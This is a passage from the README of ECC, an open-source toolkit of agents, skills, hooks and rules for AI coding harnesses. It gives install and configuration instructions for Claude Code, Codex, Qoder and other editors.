href=\"https://ecc.tools/pricing\">Pro subscribers</a> fund the work. That's why a single maintainer ships weekly across 7 harnesses.</sub></p> \n<div align=\"center\"> \n <p><sub><strong>Partners &amp; sponsors</strong></sub></p> \n <p align=\"center\"> <a href=\"https://www.coderabbit.ai\" title=\"CodeRabbit\"><img alt=\"CodeRabbit\" height=\"54\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/sponsors/coderabbit.png\" /></a>&nbsp;&nbsp;&nbsp; <a href=\"https://www.greptile.com/go/ecc\" title=\"Greptile\"><img alt=\"Greptile\" height=\"54\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/sponsors/greptile.png\" /></a>&nbsp;&nbsp;&nbsp; <a href=\"https://platform.kimi.ai?aff=ecc\" title=\"Moonshot AI - Kimi\">\n   \n    <source media=\"(prefers-color-scheme: dark)\" />\n    <img alt=\"Moonshot AI - Kimi\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/sponsors/moonshot.png\" width=\"132\" />\n   </a>&nbsp;&nbsp;&nbsp; <a href=\"https://compute.itomarkets.com\" title=\"It\u00f4 Markets\">\n   \n    <source media=\"(prefers-color-scheme: light)\" />\n    <img alt=\"It\u00f4 Markets\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/sponsors/ito-transparent.png\" width=\"96\" />\n   </a>&nbsp;&nbsp;&nbsp; <a href=\"https://serpapi.com/github-ecc\" title=\"SerpApi: Web Search API\">\n   \n    <source media=\"(prefers-color-scheme: dark)\" />\n    <img alt=\"SerpApi: Web Search API\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/sponsors/serpapi-logo-light-mode.svg?sanitize=true\" width=\"200\" />\n   </a> </p> \n <p><sub><strong>Past sponsors:</strong> <a href=\"https://www.atlascloud.ai/?utm_source=github&amp;utm_medium=link&amp;utm_campaign=ECC\">Atlas Cloud</a> \u00b7 <a href=\"https://github.com/mikejmorgan-ai\">Mike Morgan (inactive)</a></sub></p> \n <p><sub><strong>Community sponsors:</strong> <a href=\"https://github.com/jasonwu513\">@jasonwu513</a> \u00b7 <a href=\"https://github.com/1anter\">@1anter</a> \u00b7 <a href=\"https://github.com/massimotodaro\">@massimotodaro</a> \u00b7 <a href=\"https://github.com/meadmccabe\">@meadmccabe</a></sub></p> \n <p><sub><a href=\"https://github.com/sponsors/affaan-m\"><strong>Become a Sponsor</strong></a> \u00b7 <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/SPONSORS.md\">Sponsor Tiers</a> \u00b7 <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/SPONSORING.md\">Sponsorship Program</a></sub></p> \n</div> \n<p align=\"center\"><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/#install-ecc\">Jump to install \u2193</a></p> \n<h1>ECC</h1> \n<p>Your agent can write code, but ECC gives it a coordinated engineering system and toolbox: it plans before it builds, verifies changes with tests, reviews its own work from a fresh context, remembers what matters, and turns repeated wins into reusable skills and workflows.</p> \n<pre><code class=\"language-text\">plan -&gt; test -&gt; implement -&gt; review -&gt; verify -&gt; remember -&gt; improve\n</code></pre> \n<p>Instead of rebuilding that process in every prompt, you install it once and make it part of how your agent works.</p> \n<blockquote> \n <p>Optimize the context window. Persist everything else.</p> \n</blockquote> \n<p>ECC is MIT-licensed open source. It works best with Claude Code today, has native Codex and Qoder plugin paths, and provides capability-limited adapters for Cursor, OpenCode, Gemini, Zed, GitHub Copilot, Antigravity, Qwen, and other harnesses. See the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/#platform-support\">support status matrix</a> before assuming feature parity.</p> \n<p>Access to 71 agents, 311 skills, and 97 legacy command shims, plus hooks, rules, memory, continuous learning, and AgentShield security scanning. The agents are specialized for planning, review, build repair, security, architecture, and domain work.</p> \n<table> \n <thead> \n  <tr> \n   <th>Included</th> \n   <th style=\"text-align: right;\">Count</th> \n   <th>What it gives you</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>Agents</td> \n   <td style=\"text-align: right;\">71 agents</td> \n   <td>Planning, review, build repair, security, architecture, and domain work</td> \n  </tr> \n  <tr> \n   <td>Skills</td> \n   <td style=\"text-align: right;\">311 skills</td> \n   <td>TDD, research, security, docs, frontend, data, ML, operations, and more</td> \n  </tr> \n  <tr> \n   <td>Commands</td> \n   <td style=\"text-align: right;\">97 commands</td> \n   <td>Convenient entry points while ECC moves to a skills-first surface</td> \n  </tr> \n  <tr> \n   <td>Hooks and memory</td> \n   <td style=\"text-align: right;\">Runtime</td> \n   <td>Enforcement, session summaries, continuous learning, instincts, and context controls</td> \n  </tr> \n  <tr> \n   <td>Rules</td> \n   <td style=\"text-align: right;\">Selective</td> \n   <td>Always-loaded standards you choose by language or project</td> \n  </tr> \n  <tr> \n   <td>AgentShield</td> \n   <td style=\"text-align: right;\">Included</td> \n   <td>Scanning for prompts, hooks, MCP config, permissions, secrets, and agent files</td> \n  </tr> \n </tbody> \n</table> \n<p align=\"center\"> <a href=\"https://www.star-history.com/affaan-m/ecc\"> \n   \n   <source media=\"(prefers-color-scheme: dark)\" /> \n   <img alt=\"Live star history chart for affaan-m/ECC\" src=\"https://api.star-history.com/svg?repos=affaan-m/ECC&amp;type=Date\" width=\"100%\" /> \n   </a> </p> \n<h2>Install ECC</h2> \n<div class=\"markdown-alert markdown-alert-important\">\n <p class=\"markdown-alert-title\">\n  <svg class=\"octicon octicon-report mr-2\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\" xmlns=\"http://www.w3.org/2000/svg\">\n   <path d=\"M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v9.5A1.75 1.75 0 0 1 14.25 13H8.06l-2.573 2.573A1.458 1.458 0 0 1 3 14.543V13H1.75A1.75 1.75 0 0 1 0 11.25Zm1.75-.25a.25.25 0 0 0-.25.25v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25Zm7 2.25v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 9a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z\"></path>\n  </svg>Important</p>\n <p>ECC 2.2 includes guided package setup for Claude Code, Codex, and Kimi Code. The universal package requires Node.js 18 or newer. Claude plugin setup also requires Git and Claude Code 2.1 or newer on <code>PATH</code>.</p> \n</div> \n<h3>Recommended: universal guided setup</h3> \n<p>For Claude Code plugin setup, updates, scope changes, and hook-profile changes:</p> \n<pre><code class=\"language-bash\">npx ecc-universal@2.2.3 setup\n</code></pre> \n<h4>Windows first-time walkthrough</h4> \n<p>If you are new to command-line tools, use this copy-and-paste path:</p> \n<ol> \n <li> <p>Install Node.js 18 or newer, Git, and Claude Code.</p> </li> \n <li> <p>Open <strong>PowerShell</strong> from the Windows Start menu.</p> </li> \n <li> <p>Confirm that each prerequisite is available:</p> <pre><code class=\"language-powershell\">node --version\ngit --version\nclaude --version\n</code></pre> </li> \n <li> <p>Run the guided installer:</p> <pre><code class=\"language-powershell\">npx ecc-universal@2.2.3 setup\n</code></pre> </li> \n <li> <p>For a typical personal setup, choose <strong>Global user</strong>, choose <strong>Standard</strong> hooks, and confirm.</p> </li> \n <li> <p>Start a new Claude Code session and run <code>/plugin list</code> to verify that <code>ecc@ecc</code> is enabled.</p> </li> \n</ol> \n<p>This path does not require cloning the repository. If any prerequisite command is not found, install or repair that prerequisite before rerunning ECC setup.</p> \n<p>If npm reports a version or cache error, confirm the registry version before retrying:</p> \n<pre><code class=\"language-bash\">npm view ecc-universal version\n</code></pre> \n<p>ECC 2.2 supports the same guided setup through modern package runners:</p> \n<table> \n <thead> \n  <tr> \n   <th>Package runner</th> \n   <th>Guided setup command</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>npm / npx</td> \n   <td><code>npx ecc-universal@2.2.3 setup</code></td> \n  </tr> \n  <tr> \n   <td>pnpm</td> \n   <td><code>pnpm dlx ecc-universal@2.2.3 setup</code></td> \n  </tr> \n  <tr> \n   <td>Yarn 2+</td> \n   <td><code>yarn dlx ecc-universal@2.2.3 setup</code></td> \n  </tr> \n  <tr> \n   <td>Bun</td> \n   <td><code>bunx ecc-universal@2.2.3 setup</code></td> \n  </tr> \n </tbody> \n</table> \n<p>The examples select <a href=\"https://www.npmjs.com/package/ecc-universal/v/2.2.3\">the published ECC 2.2.3 release</a>, matching this repository's release version. A version pin is not a security audit or an integrity check. Review the release source and registry integrity before running package code; use a reviewed checkout for unreleased changes.</p> \n<p>Yarn Classic 1 does not provide <code>yarn dlx</code>; use <code>npx</code>, install the package globally, or upgrade Yarn for a temporary one-shot run.</p> \n<p>The wizard inventories the official marketplace and every native Claude install scope before making changes, then installs, updates, or safely moves <code>ecc@ecc</code> to the scope you choose. Rerun the same command whenever you want to update ECC, change scope, or change its hook profile. This setup wizard currently configures the Claude Code plugin; use the multi-harness wizard below for Codex or Kimi Code.</p> \n<p>To configure more than one coding agent in one reviewed flow, use the multi-harness wizard:</p> \n<pre><code class=\"language-bash\">npx ecc-universal@2.2.3 install --guided\n</code></pre> \n<p>It lets you select any combination of Claude Code, Codex, and Kimi Code, shows each install channel and destination, preflights every selection before the first write, and asks for one final confirmation.</p> \n<table> \n <thead> \n  <tr> \n   <th>Harness</th> \n   <th>Guided install behavior</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>Claude Code</td> \n   <td>Native <code>ecc@ecc</code> plugin with one <code>user</code>, <code>project</code>, or <code>local</code> scope and an ECC hook profile</td> \n  </tr> \n  <tr> \n   <td>Codex</td> \n   <td>Native Codex marketplace/plugin lifecycle; hook review and trust remain Codex-owned</td> \n  </tr> \n  <tr> \n   <td>Kimi Code</td> \n   <td>Managed project files under <code>./.kimi-code</code>; ECC hooks, model/provider settings, and authentication are not configured</td> \n  </tr> \n </tbody> \n</table> \n<p>For automation, make every provider-specific choice explicit:</p> \n<pre><code class=\"language-bash\">npx ecc-universal@2.2.3 install --guided \\\n  --harness claude --harness codex --harness kimi \\\n  --claude-scope local --claude-hooks standard \\\n  --profile core --yes\n</code></pre> \n<p>Verify the native guided Codex path and managed Kimi path without writing first:</p> \n<pre><code class=\"language-bash\">npx ecc-universal@2.2.3 install --guided --harness codex --dry-run\nnpx ecc-universal@2.2.3 install --profile core --target kimi --dry-run\n</code></pre> \n<p>Additional package-name commands are also available through the 2.2 alias:</p> \n<pre><code class=\"language-bash\">npx ecc-universal@2.2.3 consult \"security reviews\" --target claude\nnpx ecc-universal@2.2.3 install --profile minimal --target claude --with capability:machine-learning\nnpx ecc-universal@2.2.3 doctor --target kimi\n</code></pre> \n<p>Do not use <code>npx ecc-install --profile minimal --target claude</code>: <code>ecc-install</code> is a binary name inside <code>ecc-universal</code>, not a separately published npm package.</p> \n<p>ECC also ships advanced managed adapters for <code>cursor</code>, <code>antigravity</code>, <code>gemini</code>, <code>opencode</code>, <code>codebuddy</code>, <code>joycode</code>, <code>qwen</code>, <code>zed</code>, <code>hermes</code>, and <code>openclaw</code>. Those targets still use their documented <code>ecc install --target ...</code> paths until each adapter has passed the guided collision, update, repair, and uninstall lifecycle matrix. Neither wizard silently installs into every detected harness.</p> \n<h3>Pick one path only (per harness)</h3> \n<p>You can use ECC with Claude Code, Codex, and other harnesses at the same time. Choose one install method for each harness:</p> \n<ul> \n <li><strong>Recommended default:</strong> run the guided Claude plugin setup above</li> \n <li><strong>Also supported for Claude Code:</strong> use the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/#claude-code-details\">native plugin commands</a></li> \n <li><strong>Available in release 2.2:</strong> guided package setup for Claude Code, Codex, and Kimi Code</li> \n <li><strong>Works:</strong> Claude Code plugin + Codex native plugin</li> \n <li><strong>Works:</strong> Claude Code plugin + the legacy Codex sync flow</li> \n <li><strong>Avoid:</strong> Claude Code plugin + full Claude manual install</li> \n <li><strong>Avoid:</strong> Codex sync + Codex marketplace plugin</li> \n</ul> \n<p><strong>Do not stack install methods.</strong> Installing ECC twice into the same harness can duplicate skills, commands, hooks, or configuration; installing it once into multiple harnesses does not.</p> \n<p>If you already layered multiple installs and things look duplicated, skip straight to <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/#reset--uninstall-ecc\">Reset / Uninstall ECC</a>.</p> \n<p><strong>Install trouble?</strong> Open the short <a href=\"https://github.com/affaan-m/ECC/issues/new?template=install-problem.yml\">install or runtime problem form</a>, or run <code>ecc feedback</code>. ECC never uploads diagnostics automatically.</p> \n<h3>Claude Code details</h3> \n<p>Alternatively, run Claude Code's native plugin commands inside Claude Code:</p> \n<pre><code class=\"language-text\">/plugin marketplace add https://github.com/affaan-m/ECC\n/plugin install ecc@ecc\n</code></pre> \n<p>The native path installs ECC's skills, agents, commands, and plugin-managed hooks. If you choose it, stop there. Do not also run a full manual install into Claude Code.</p> \n<p>Claude Code owns these built-in commands, including their errors when a marketplace, plugin, or conflicting scope already exists. ECC cannot intercept that parser. If either native command reports an existing install or scope conflict, use the 2.2 guided setup or resolve the conflicting Claude plugin scope before retrying; do not layer a manual install on top.</p> \n<p>After ECC is installed, <code>/ecc:configure-ecc</code> is the namespaced in-Claude reconfiguration skill. It delegates to the same safe setup flow, but it is available only after the plugin is installed and cannot replace Claude Code's built-in <code>/plugin</code> command during a first install.</p> \n<p>Claude Code plugins cannot distribute <code>rules</code>, so add only the rule packs you actually want:</p> \n<pre><code class=\"language-bash\">git clone https://github.com/affaan-m/ECC.git\ncd ECC\nmkdir -p ~/.claude/rules/ecc\ncp -R rules/common ~/.claude/rules/ecc/\ncp -R rules/typescript ~/.claude/rules/ecc/  # replace with your stack\n</code></pre> \n<p>Start with <code>rules/common</code> plus one language or framework pack you actually use. If you install the plugin, do not run <code>./install.sh --profile full</code> afterward.</p> \n<details> \n <strong>Prefer settings.json? Add the marketplace declaratively</strong> \n <p>Add directly to your <code>~/.claude/settings.json</code>:</p> \n <pre><code class=\"language-json\">{\n  \"extraKnownMarketplaces\": {\n    \"ecc\": {\n      \"source\": {\n        \"source\": \"github\",\n        \"repo\": \"affaan-m/ECC\"\n      }\n    }\n  },\n  \"enabledPlugins\": {\n    \"ecc@ecc\": true\n  }\n}\n</code></pre> \n <p>This gives you the same result as the two <code>/plugin</code> commands above.</p> \n</details> \n<details> \n <strong>Naming + migration note (ecc@ecc, affaan-m/ECC, ecc-universal)</strong> \n <p>ECC has three public identifiers, and they are not interchangeable:</p> \n <ul> \n  <li>GitHub source repo: <code>affaan-m/ECC</code></li> \n  <li>Claude marketplace/plugin identifier: <code>ecc@ecc</code></li> \n  <li>npm package: <code>ecc-universal</code></li> \n </ul> \n <p>This is intentional. Anthropic marketplace/plugin installs are keyed by a canonical plugin identifier, so ECC uses <code>ecc@ecc</code> to keep tool names and slash-command namespaces short enough for strict Desktop/API validators. Older posts may still show the former long marketplace identifier; treat that as a legacy alias only. Separately, the npm package stayed on <code>ecc-universal</code>, so npm installs and marketplace installs intentionally use different names.</p> \n <p>npm releases are cut per version tag, not per commit, so <code>ecc-universal</code> tracks releases (2.1, 2.2, ...) rather than every push to <code>main</code>. Install from git if you want the bleeding edge.</p> \n <p>If your local Claude setup was wiped or reset, that does not mean you need to repurchase anything. Start with <code>node scripts/ecc.js list-installed</code>, then run <code>node scripts/ecc.js doctor</code> and <code>node scripts/ecc.js repair</code> before reinstalling. That usually restores ECC-managed files without rebuilding your setup.</p> \n</details> \n<h3>Codex App and CLI</h3> \n<p>Current Codex releases can install ECC as a native repo-marketplace plugin. The marketplace entry uses the repository root so Codex's cache receives the manifest together with all referenced skills, MCP configuration, hook runtime, scripts, and assets:</p> \n<pre><code class=\"language-bash\">codex plugin marketplace add affaan-m/ECC\ncodex plugin add ecc@ecc\ncodex plugin list --json\nnode scripts/codex/check-plugin-cache.js\n</code></pre> \n<p>Both add commands are idempotent. To refresh later, run <code>codex plugin marketplace upgrade ecc</code> followed by <code>codex plugin add ecc@ecc</code>. Codex stores one enabled plugin state in the active <code>CODEX_HOME</code>; it does not offer Claude's <code>user</code>, <code>project</code>, and <code>local</code> scopes. Its native hooks require an explicit trust decision and do not use Claude's four ECC hook profiles. Inside Codex, invoke <code>$configure-ecc</code> for the guided provider-aware flow.</p> \n<p>The older <code>scripts/sync-ecc-to-codex.sh</code> path is a deprecated compatibility option for users who intentionally need copied and merged configuration in <code>~/.codex</code>; it is not required for the native plugin. New sync runs write an ownership manifest so cleanup can preserve modified user files. Run Codex once first so <code>~/.codex/config.toml</code> exists, then:</p> \n<pre><code class=\"language-bash\">git clone https://github.com/affaan-m/ECC.git\ncd ECC\nnpm install\nbash scripts/sync-ecc-to-codex.sh\n</code></pre> \n<p>To inspect or remove that legacy layer without touching Codex conversations or native plugin caches:</p> \n<pre><code class=\"language-bash\">node scripts/ecc.js uninstall --legacy-codex-sync --dry-run\nnode scripts/ecc.js uninstall --legacy-codex-sync\n</code></pre> \n<p>Pre-manifest installations are handled conservatively: ECC removes its marked <code>AGENTS.md</code> block but preserves copied files it cannot prove it owns and reports them for review.</p> \n<p>You can also open the ECC repository directly in Codex for a project-local setup. Codex reads the root <code>AGENTS.md</code> and the trusted project configuration in <code>.codex/</code> without a global sync. Do not add the native marketplace plugin on top of the sync flow.</p> \n<p>For repo navigation, surface ownership, and PR diff packet guidance, read the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/CODEX-NAVIGATION-GUIDE.md\">Codex ECC Navigation Map</a>. See the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/.codex-plugin/README.md\">.codex plugin notes</a> for native lifecycle details.</p> \n<h3>Qoder CLI and IDE</h3> \n<p>ECC ships a native Qoder plugin that reuses the canonical skills, agents, 95 legacy command shims, and the pinned <code>chrome-devtools</code> MCP definition. From a reviewed checkout, validate and install it with Qoder CLI:</p> \n<pre><code class=\"language-bash\">qoder plugins validate . --strict\nqoder plugins install .\nqoder plugins list\n</code></pre> \n<p>For Qoder IDE, upload a ZIP of the repository root. The ZIP root must contain <code>.qoder-plugin/</code> together with <code>skills/</code>, <code>agents/</code>, <code>commands/</code>, <code>hooks/</code>, <code>scripts/</code>, and <code>.mcp.json</code>; uploading only the manifest directory or one <code>SKILL.md</code> omits required resources.</p> \n<p>The universal Node.js 18+ requirement applies to Qoder's non-interactive hook environment. The MCP server also requires <code>npx</code> and network access on first use. Qoder receives one reviewed, cross-platform <code>SessionStart</code> bootstrap using <code>QODER_PLUGIN_ROOT</code> and exec-form arguments. ECC does not copy the full Claude hook profile into Qoder: blocking tool hooks, async stop jobs, and Claude-specific matchers remain outside this initial native integration. See the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/.qoder-plugin/README.md\">.qoder-plugin notes</a> for the exact boundary.</p> \n<h3>Other agents and editors</h3> \n<details> \n <strong>Cursor, OpenCode, Gemini, Zed, Antigravity, Qwen, Hermes, OpenClaw, Kimi, CodeBuddy, JoyCode, Copilot</strong> \n <p>Clone ECC once, then choose the target that matches your harness:</p> \n <pre><code class=\"language-bash\">git clone https://github.com/affaan-m/ECC.git\ncd ECC\n</code></pre> \n <table> \n  <thead> \n   <tr> \n    <th>Harness</th> \n    <th>Install or setup</th> \n    <th>Notes</th> \n   </tr> \n  </thead> \n  <tbody> \n   <tr> \n    <td>Cursor</td> \n    <td><code>./install.sh --profile minimal --target cursor</code></td> \n    <td>Project-local <code>.cursor/</code> adapter</td> \n   </tr> \n   <tr> \n    <td>OpenCode</td> \n    <td><code>npm install &amp;&amp; npm run build:opencode &amp;&amp; ./install.sh --profile full --target opencode --enable-hooks</code></td> \n    <td>Builds the plugin payload before the full install</td> \n   </tr> \n   <tr> \n    <td>Gemini CLI</td> \n    <td><code>./install.sh --profile minimal --target gemini</code></td> \n    <td>Project-local <code>.gemini/</code> config</td> \n   </tr> \n   <tr> \n    <td>Zed</td> \n    <td><code>./install.sh --profile minimal --target zed</code></td> \n    <td>Project-local <code>.zed/</code> adapter</td> \n   </tr> \n   <tr> \n    <td>Antigravity</td> \n    <td><code>./install.sh --profile minimal --target antigravity</code></td> \n    <td>See the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/ANTIGRAVITY-GUIDE.md\">Antigravity guide</a></td> \n   </tr> \n   <tr> \n    <td>Qwen CLI</td> \n    <td><code>./install.sh --profile minimal --target qwen</code></td> \n    <td>See the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/QWEN-GUIDE.md\">Qwen guide</a></td> \n   </tr> \n   <tr> \n    <td>Hermes</td> \n    <td><code>./install.sh --profile minimal --target hermes</code></td> \n    <td>See the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/HERMES-SETUP.md\">Hermes setup guide</a></td> \n   </tr> \n   <tr> \n    <td>OpenClaw</td> \n    <td><code>./install.sh --profile minimal --target openclaw</code></td> \n    <td>Managed home-directory install</td> \n   </tr> \n   <tr> \n    <td>Kimi Code CLI</td> \n    <td><code>./install.sh --profile minimal --target kimi</code></td> \n    <td>Project-local <code>.kimi-code/</code> install \u00b7 <a href=\"https://www.kimi.ai/code?aff=ecc\">Get Kimi Code</a></td> \n   </tr> \n   <tr> \n    <td>CodeBuddy</td> \n    <td><code>./install.sh --profile minimal --target codebuddy</code></td> \n    <td>Project-local <code>.codebuddy/</code> install</td> \n   </tr> \n   <tr> \n    <td>JoyCode</td> \n    <td><code>./install.sh --profile minimal --target joycode</code></td> \n    <td>Project-local <code>.joycode/</code> install</td> \n   </tr> \n   <tr> \n    <td>GitHub Copilot</td> \n    <td><code>./install.sh --profile full --target copilot</code></td> \n    <td>Installs skills to <code>.github/skills/</code> and agents to <code>.github/agents/</code> for Copilot CLI</td> \n   </tr> \n  </tbody> \n </table> \n <p>GitHub Copilot support is already included in this repository. <code>.github/copilot-instructions.md</code> provides the instruction layer, <code>.github/prompts/</code> contains the reusable <code>/plan</code>, <code>/tdd</code>, <code>/security-review</code>, <code>/build-fix</code>, and <code>/refactor</code> prompts, and <code>.vscode/settings.json</code> enables <code>chat.promptFiles</code>. GitHub Copilot CLI additionally discovers the <code>.agents/skills/</code> subset from a plain clone with no setup; see <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/#platform-support\">Platform Support</a> for the full catalog and agents.</p> \n <p>For a harness without a native ECC target, use the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/MANUAL-ADAPTATION-GUIDE.md\">manual adaptation guide</a>. It explains how to carry a small set of ECC skills and workflow instructions into chat-style tools without pretending hooks or native skill discovery are available.</p> \n <p>Cursor installs agent definitions under <code>.cursor/agents/ecc-*.md</code>. Cursor-native loading behavior can vary by Cursor build. ECC does not install root <code>AGENTS.md</code> into <code>.cursor/</code>. The adapter keeps Cursor's context scoped to its native rules and agent surfaces.</p> \n <p>Deep per-harness notes (feature parity, hook adapters, limitations) live in <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/#platform-support\">Platform Support</a> below.</p> \n</details> \n<h2>Advanced Install Options</h2> \n<details> \n <strong>Low-context install with no hook runtime</strong> \n <h3>Low-context / no-hooks path</h3> \n <p>Use this when you want ECC's rules, agents, commands, platform config, and core workflows without runtime hooks:</p> \n <pre><code class=\"language-bash\">npx ecc-universal@2.2.3 install --profile minimal --target claude\n</code></pre> \n <p>From a source checkout, the equivalent command is:</p> \n <pre><code class=\"language-bash\">./install.sh --profile minimal --target claude\n</code></pre> \n <p>Windows:</p> \n <pre><code class=\"language-powershell\">.\\install.ps1 --profile minimal --target claude\n</code></pre> \n <p>This profile intentionally excludes <code>hooks-runtime</code>.</p> \n <p>Claude manual installs place each skill directly under <code>~/.claude/skills/&lt;skill-name&gt;/</code> (or <code>.claude/skills/&lt;skill-name&gt;/</code> for <code>claude-project</code>) so Claude Code can discover it. When upgrading an older ECC manual install, the installer migrates only nested <code>skills/ecc/</code> files recorded in ECC install-state. If a flat skill directory is user-owned, ECC preserves it, prints a conflict warning, and keeps any older managed copy tracked for a safe uninstall instead of overwriting user files.</p> \n <p>For the normal core profile with hooks disabled:</p> \n <pre><code class=\"language-bash\">./install.sh --profile core --without baseline:hooks --target claude\n./install.sh --profile core --no-hooks --target claude\n</code></pre> \n <p>Add the hook runtime later only if you want it:</p> \n <pre><code class=\"language-bash\">./install.sh --target claude --modules hooks-runtime --enable-hooks\n</code></pre> \n <p>Any install whose profile or modules would materialize the hook runtime requires an explicit decision. Without <code>--enable-hooks</code> or <code>--no-hooks</code>, the installer prints what the hooks can do and stops before writing anything. The guided installer (<code>ecc install --guided</code>) asks for this choice interactively.</p> \n</details> \n<details> \n <strong>Choose only the components you need</strong> \n <h3>Find the right components first</h3> \n <p>Ask the packaged advisor which components match your work:</p> \n <pre><code class=\"language-bash\">node scripts/ecc.js consult \"security reviews\" --target claude\n</code></pre> \n <p>It returns matching components, related profiles, and preview/install commands. Use the preview command before installing if you want to inspect the exact file plan.</p> \n <p>You can also install explicit skills or capabilities:</p> \n <pre><code class=\"language-bash\">./install.sh --target claude --skills tdd-workflow,security-review\nnode scripts/ecc.js install --profile minimal --target claude --with capability:machine-learning\n</code></pre> \n <p>Manual component-by-component copying also works. Each component is fully independent:</p> \n <pre><code class=\"language-bash\"># Just agents\nmkdir -p ~/.claude/agents\ncp agents/*.md ~/.claude/agents/\n\n# Rules directories (common + language-specific)\nmkdir -p ~/.claude/rules/ecc\ncp -r rules/common ~/.claude/rules/ecc/\ncp -r rules/typescript ~/.claude/rules/ecc/   # pick your stack\n\n# Core/general skills only (Claude Code loads skills from direct children\n# of ~/.claude/skills; do not nest manual installs under ~/.claude/skills/ecc/)\nmkdir -p ~/.claude/skills\ncp -r .agents/skills/* ~/.claude/skills/\ncp -r skills/search-first ~/.claude/skills/\n\n# Optional: maintained slash-command compatibility during migration\nmkdir -p ~/.claude/commands\ncp commands/*.md ~/.claude/commands/\n</code></pre> \n <p>Retired shims live in <code>legacy-command-shims/</code>. Copy individual files from there only if you still need old names such as <code>/tdd</code>.</p> \n</details> \n<details> \n <strong>Project-local rules instead of global rules</strong> \n <p>Use project-local rules when ECC's standards should apply to one repository rather than every Claude Code session:</p> \n <pre><code class=\"language-bash\">cd your-project\nmkdir -p .claude/rules/ecc\ncp -R /path/to/ECC/rules/common .claude/rules/ecc/\ncp -R /path/to/ECC/rules/typescript .claude/rules/ecc/\n</code></pre> \n <p>Rules are always-loaded context, so begin with <code>common</code> and one pack for the stack you actually use. When copying rules manually, copy the whole language directory (for example <code>rules/common</code> or <code>rules/golang</code>), not the files inside it, so relative references keep working and filenames do not collide.</p> \n</details> \n<details> \n <strong>Fully manual Claude install</strong> \n <p>Use this only when you are intentionally skipping the plugin path:</p> \n <pre><code class=\"language-bash\">git clone https://github.com/affaan-m/ECC.git\ncd ECC\n./install.sh --profile full --enable-hooks\n</code></pre> \n <p>Windows:</p> \n <pre><code class=\"language-powershell\">git clone https://github.com/affaan-m/ECC.git\ncd ECC\n.\\install.ps1 --profile full --enable-hooks\n</code></pre> \n <p>These examples enable the automatic hook runtime. To install without hooks, replace <code>--enable-hooks</code> with <code>--no-hooks</code>.</p> \n <p>If you choose this path, stop there. Do not also run <code>/plugin install</code>.</p> \n <p>For hand-picked manual installs, Claude discovers skills as direct children of <code>~/.claude/skills/</code>; do not nest them under <code>~/.claude/skills/ecc/</code>.</p> \n <h4>Install hooks</h4> \n <p>Do not copy the raw repo <code>hooks/hooks.json</code> into <code>~/.claude/settings.json</code> or <code>~/.claude/hooks/hooks.json</code>. That file is plugin/repo-oriented; use the installer so hook command paths are rewritten correctly:</p> \n <pre><code class=\"language-bash\">bash ./install.sh --target claude --modules hooks-runtime --enable-hooks\n</code></pre> \n <p>That installs the hook scripts under <code>~/.claude/</code> and registers the resolved hook entries in <code>~/.claude/settings.json</code>. Existing user settings and hooks are preserved; ECC-owned entries are tracked by stable ID for idempotent updates and safe uninstall.</p> \n <p>If you installed ECC via <code>/plugin install</code>, do not copy those hooks into <code>settings.json</code>. Claude Code v2.1+ already auto-loads plugin <code>hooks/hooks.json</code>, and duplicating them in <code>settings.json</code> causes duplicate execution and cross-platform hook conflicts.</p> \n <p>On Windows, Claude's config root is <code>%USERPROFILE%\\.claude</code>; install the hook runtime with:</p> \n <pre><code class=\"language-powershell\">pwsh -File .\\install.ps1 --target claude --modules hooks-runtime --enable-hooks\n</code></pre> \n <h4>Configure MCPs</h4> \n <p>Claude plugin installs intentionally do not auto-enable ECC's bundled MCP server definitions. This avoids overlong plugin MCP tool names on strict third-party gateways while keeping manual MCP setup available.</p> \n <p>Use Claude Code's <code>/mcp</code> command or CLI-managed MCP setup for live Claude Code server changes; Claude Code persists those choices in <code>~/.claude.json</code>. For repo-local MCP access, copy desired MCP server definitions from <code>mcp-configs/mcp-servers.json</code> into a project-scoped <code>.mcp.json</code>.</p> \n <p>ECC ships exactly one default connector (<code>chrome-devtools</code>); everything else is a skill wrapping a CLI/REST API or an opt-in catalog entry. The rule and the June 2026 audit that retired the previous six defaults live in <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/MCP-CONNECTOR-POLICY.md\">docs/MCP-CONNECTOR-POLICY.md</a>.</p> \n <p>If you already run your own copies of ECC-bundled MCPs, set:</p> \n <pre><code class=\"language-bash\">export ECC_DISABLED_MCPS=\"chrome-devtools\"\n</code></pre> \n <p>ECC-managed install and Codex sync flows will skip or remove those bundled servers instead of re-adding duplicates. <code>ECC_DISABLED_MCPS</code> is an ECC install/sync filter, not a live Claude Code toggle.</p> \n <p><strong>Important:</strong> Replace <code>YOUR_*_HERE</code> placeholders with your actual API keys.</p> \n</details> \n<details> \n <strong>Multi-model commands require additional setup</strong> 